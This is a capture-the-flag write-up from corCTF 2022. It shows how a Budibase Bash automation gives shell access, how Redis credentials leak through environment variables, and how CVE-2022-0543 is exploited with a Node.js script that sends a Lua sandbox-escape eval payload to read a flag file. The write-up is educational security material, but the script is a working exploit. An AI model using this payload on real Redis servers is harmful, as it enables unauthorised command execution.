corCTF 2022 - No(de)code

  • Author: jazzpizazz
  • Date:


When starting the challenge we are greeted by a Budibase login page. Budibase is an open source low code platform which can be used to create webapps without writing code. After logging in with the supplied credentials we are encouraged to create our first app.


The app editor contains 3 tabs: Data, Design and Automate. The last of which can be used to create automations. After selecting a trigger for the automation, differactions can be added to it. The Bash scripting action stands out. After entering the id command the automation can be saved and tested, resulting in the following output:


The functionality gives command execution as root, but in a very limited container. Tools like curl and netcat are not installed, and there is a timeout killing any longer running commands. When enumerating the filesystem a file called SECURITY.txt stands out, it contains two notes:

- Remove that file containing valuable contents from the Redis container
- Check environment variables for leaks

The first note indicates that the flag is on a Redis container, the second note hints to check the environment variables. When running the env command a few Redis related environment variables are listed:


It contains the hostname of the Redis container and a password to authenticate with. Besides that it discloses the version Redis, for which a security patch exists:


The security patch has not been installed (hence the version does not include 0.1) meaning Redis is vulnerable to CVE-2022-0543. This essentially means that after we connect and authenticate to Redis we can get command execution on the container it runs in. The only question that remains is how to connect to redis. As there is no netcat let alone redis-cli we need to get a little bit creative.

Budibase runs on NodeJS, so Node is present on the machine and using the net module we can set up a TCP connection. We only need to write some Node-code (wink) to grab the flag from the Redis container. My final exploit looks like this:

 1cat << EOF > /tmp/jazz.js
 2let count = 0;
 3var net = require('net');
 4let init = "command\r\n";
 5let auth = 'auth rI1W4PDBWcS2oGe3jcWXvtH8\r\n';
 6let exploit = 'eval \'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/", "luaopen_io"); local io = io_l(); local f = io.popen("cat /flag.txt", "r"); local res = f:read("*a"); f:close(); return res\' 0\r\n';
 8var client = new net.Socket();
 9client.connect(6379, 'redis-service', () => {
10        console.log('Connected');
11	      console.log('Sending:', init);
12	      client.write(init);
15client.on('data', (data) => {
16        console.log('Received: ' + data);
17	      if(data.includes("NOAUTH")){
18					console.log('Sending:', auth);
19	      	client.write(auth);
20				}
21	      if(data.includes("OK")){
22					console.log('Sending:', exploit);
23	      	client.write(exploit);
24				}
25	      count++;
26        if(count === 3) client.destroy();
29client.on('close', () => {
30        console.log('Connection closed');
34node /tmp/jazz.js 2>&1

And when executing it the flag is returned:

Received: -NOAUTH Authentication required.
auth rI1W4PDBWcS2oGe3jcWXvtH8
Received: +OK
eval 'local io_l = package.loadlib(\"/usr/lib/x86_64-linux-gnu/\", \"luaopen_io\"); local io = io_l(); local f = io.popen(\"cat /flag.txt\", \"r\"); local res = f:read(\"*a\"); f:close(); return res' 0
Received: $46
Connection closed